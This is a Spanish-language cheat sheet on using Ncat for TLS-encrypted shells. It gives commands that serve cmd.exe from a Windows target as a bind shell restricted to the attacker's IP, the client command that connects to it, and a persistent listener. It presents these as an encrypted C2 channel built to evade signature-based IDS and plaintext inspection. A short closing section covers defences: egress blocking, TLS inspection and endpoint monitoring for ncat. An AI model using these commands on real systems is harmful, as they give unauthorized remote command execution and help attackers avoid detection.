Ncat — Shells Cifradas con SSL y Control de Origen
Netcat del proyecto Nmap con TLS: reverse shells cifradas desde Windows (cmd.exe vía --exec), listeners con --allow y verificación de conexiones seguras.
1. Operational Scope & Technical Objective
ncat es la reimplementación de netcat del proyecto Nmap con características de red modernas: TLS (--ssl), filtrado de origen (--allow) y reutilización de conexiones. Su ventaja operativa frente a nc clásico es la evasión: una reverse shell encapsulada en TLS no se lee en claro en la captura ni la firma un IDS que solo busca strings de shell — el tráfico parece HTTPS. Combinado con --allow, el listener solo acepta al IP del atacante, reduciendo el descubrimiento del puerto de escucha.
2. High-Impact Syntax & Command Cheatsheet
# Reverse shell desde Windows con cmd.exe, encapsulada en SSL
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
# --exec cmd.exe -> al recibir conexión ejecuta cmd.exe (servidor que sirve la shell)
# --allow $ip -> solo acepta conexiones de la IP indicada
# -v -> verbose
# -n -> sin resolución DNS (más rápido y silencioso)
# -l -> modo listener (escucha)
# 4444 -> puerto de escucha
# --ssl -> cifra la conexión con TLS (evasión de inspección en claro)
# Conectar al listener SSL desde el equipo de control
ncat -v $ip 4444 --ssl
# -v -> verbose
# --ssl -> el cliente negocia TLS con el listener
# Listener reutilizable (sigue escuchando tras cada conexión)
ncat -lk -p 4444 --ssl
# -k -> keep-open: no termina tras la primera conexión
3. Real-World Offensive/Defensive Scenarios
Canal C2 cifrado y de origen restringido. El patrón es: en el objetivo Windows, ncat --exec cmd.exe --allow <IP-atacante> -vnl 4444 --ssl monta un bind shell TLS que ignora a cualquier IP distinta del atacante; el operador conecta con ncat -v <IP> 4444 --ssl. Si el tráfico se intercepta, lo que se ve es una sesión TLS sin contenido de shell en claro — el IDS que detecta cmd.exe /c o bindshell strings no dispara.
Evasión de inspección en claro. Frente a un firewall/IDS de reglas por firma, TLS hace la shell indistinguible de tráfico HTTPS genérico en el puerto elegido. La contrapartida defensiva: los entornos modernos inspeccionan TLS en el perímetro (MITM de CA corporativa), por lo que el canal queda expuesto si el proxy corporativo fuerza su propio certificado.
Defensa. El --allow es una protección parcial (la IP se puede spoofear), no un control de autenticación: el control real es bloquear egress hacia puertos altos con TLS desde hosts no autorizados, y monitorizar en el endpoint la aparición de ncat/nc (binarios legítimos pero reutilizados por atacantes). La inspección TLS en el perímetro convierte estas shells en detectables cuando la CA corporativa es la que firma la sesión.